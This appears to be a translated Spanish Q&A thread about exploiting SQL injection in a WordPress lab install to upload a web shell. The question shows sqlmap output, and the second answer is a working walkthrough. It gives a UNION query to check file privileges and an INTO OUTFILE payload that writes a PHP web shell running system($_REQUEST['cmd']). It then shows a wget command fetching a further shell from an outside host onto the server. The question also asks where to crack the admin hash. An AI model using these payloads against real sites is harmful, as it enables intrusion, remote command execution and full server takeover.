Cargando shell usando SQLI

5

Encontré una vulnerabilidad de inyección SQL en una instalación de Wordpress dentro de una de mis máquinas de laboratorio y estoy tratando de aprovecharla para subir un shell.

Puedo obtener el hash de administrador, pero parece que es bastante complejo, ya que JTR y HASHCAT están tomando mucho tiempo sin suerte.

Aquí está el resultado básico de SQLmap:

web server operating system: Linux Ubuntu xxxxxxxxx
web application technology: PHP 5.2.6, Apache 2.2.11
back-end DBMS: MySQL 5
[02:24:38] [INFO] testing if current user is DBA
[02:24:38] [INFO] fetching current user
current user is DBA:    True
[02:24:38] [INFO] fetching database names
[02:24:38] [INFO] the SQL query used returns 3 entries
[02:24:38] [INFO] resumed: "information_schema","information_schema"
[02:24:38] [INFO] resumed: "mysql","mysql"
[02:24:38] [INFO] resumed: "wordpress","wordpress"
available databases [3]:                                                                                                                                               
[*] information_schema
[*] mysql
[*] wordpress

Probé la opción --os-shell pero parece que no hay acceso de escritura cuando obtengo estos errores:

  

[02:26:36] [ADVERTENCIA] no se puede recuperar automáticamente ningún servidor web   ruta

     

[02:26:36] [INFO] intentando cargar el archivador en '/ var / www' a través de   LIMITE EN LA TECNOLOGIA DEL PERFIL

     

[02:26:37] [ADVERTENCIA] no se puede cargar el archivador en '/ var / www'

     

[02:26:37] [INFO] intentando cargar el archivador en '/ var / www' a través de   Técnica de UNION

     

[02:26:37] [ADVERTENCIA] espere caracteres no deseados dentro del archivo como un   sobras de la consulta UNION

     

[02:26:38] [ADVERTENCIA] parece que el archivo no se ha escrito, esto   puede ocurrir si el usuario del proceso DBMS no tiene privilegios de escritura en el   ruta de destino

Puedo obtener --sql-shell sin problema. Intenté los pasos aquí ( enlace ) para cargar un shell, pero aparece el siguiente error

  

[02:00:16] [ADVERTENCIA] la ejecución de consultas SQL personalizadas solo está disponible   cuando las consultas apiladas son compatibles

Ahora, necesito una forma de cargar un shell en la máquina de destino, ¿alguna idea? ¿También alguna idea donde puedo descifrar hash de contraseña de administrador de Wordpress en línea?

    
pregunta Ahmed Taher 31.10.2013 - 01:45
fuente

2 respuestas

5

En primer lugar, si está depurando un error de mapa SQL, necesita aumentar la verbosidad. Nadie puede realmente responder esta pregunta, porque usted no recopiló la información apropiada.

El --os-shell funciona para MySQL al intentar usar un into outfile para escribir un archivo en la raíz web. Esto puede fallar por cualquier número de razones. La razón más común es que la base de datos y el servidor web y diferentes máquinas. Los conjuntos de reglas predeterminados de Ubuntu AppArmor prohíben que MySQL escriba en / var / www /. Además, into outfile requiere privilegios de archivo que nunca deben otorgarse (pero a menudo lo son). Puede intentar usar la funcionalidad de archivo io de sqlmap para leer y escribir en el sistema de archivos remoto.

en el contexto de esta aplicación, descargar el contenido de la base de datos MySQL de Wordpress generará el hash de la contraseña del administrador. Al romper este hash se obtendrá una cuenta de administrador de Wordpress que casi siempre tiene la capacidad de cargar e instalar extensiones de Wordpress ... o PHP.

    
respondido por el rook 01.11.2013 - 02:32
fuente
7

Sí, puede escribir su shell en el servidor web con sentencias de SQL sin iniciar sesión en el panel de administración o cualquier otro panel de control.

Pero para esto tienes que cumplir con ciertos requisitos:

  1. Tu debes tener privilegios de escritura y un directorio de escritura (donde debes cargar tu shell)
  2. Ruta raíz (es decir, /var/www/website/ )
  3. Las citas mágicas deben estar habilitadas

Comprobar los privilegios de escritura

¿Ahora la pregunta es cómo verificar si tiene permisos de escritura? Lo que puedes hacer simplemente es leer file_priv de la tabla mysql.user :

union select 1,2,3,concat(user(),0x3a,file_priv) from mysql.user--

Si dice Y después de tu usuario actual, tienes suerte y tienes privilegios de escritura.

Crea un archivo para recibir el shell

Ahora es el momento de utilizar las declaraciones de MySQL. Vamos a utilizar INTO OUTFILE , que escribe las filas seleccionadas en un archivo. La sintaxis básica es:

select column_name from table_name into outfile "filepath/file.extension

Algo como esto debería crear un archivo llamado shell.php en el directorio del sitio web y escribir ese código PHP en su interior:

http://website.com/file.php?id=1 union select 1,"<?php system($_REQUEST['cmd'])?>",3,4 INTO OUTFILE " /var/www/website/public_html/shell.php"

Accede al shell

Ahora podemos acceder a nuestro shell visitando http://website.com/shell.php?cmd=whoami . Puedes ejecutar cualquier comando después de cmd= . Ahora puede cargar un código de shell listo para usar en el servidor usando curl o 'wget (en servidores Linux):

'http://website.com/shell.php?cmd=wget http://othersite.com/shell.txt -O code.php'

Y luego puedes acceder a tu shell con:

http://website.com/code.php

Espero que hayas entendido todo :)

    
respondido por el Ammar Brohi 28.03.2014 - 01:58
fuente

Lea otras preguntas en las etiquetas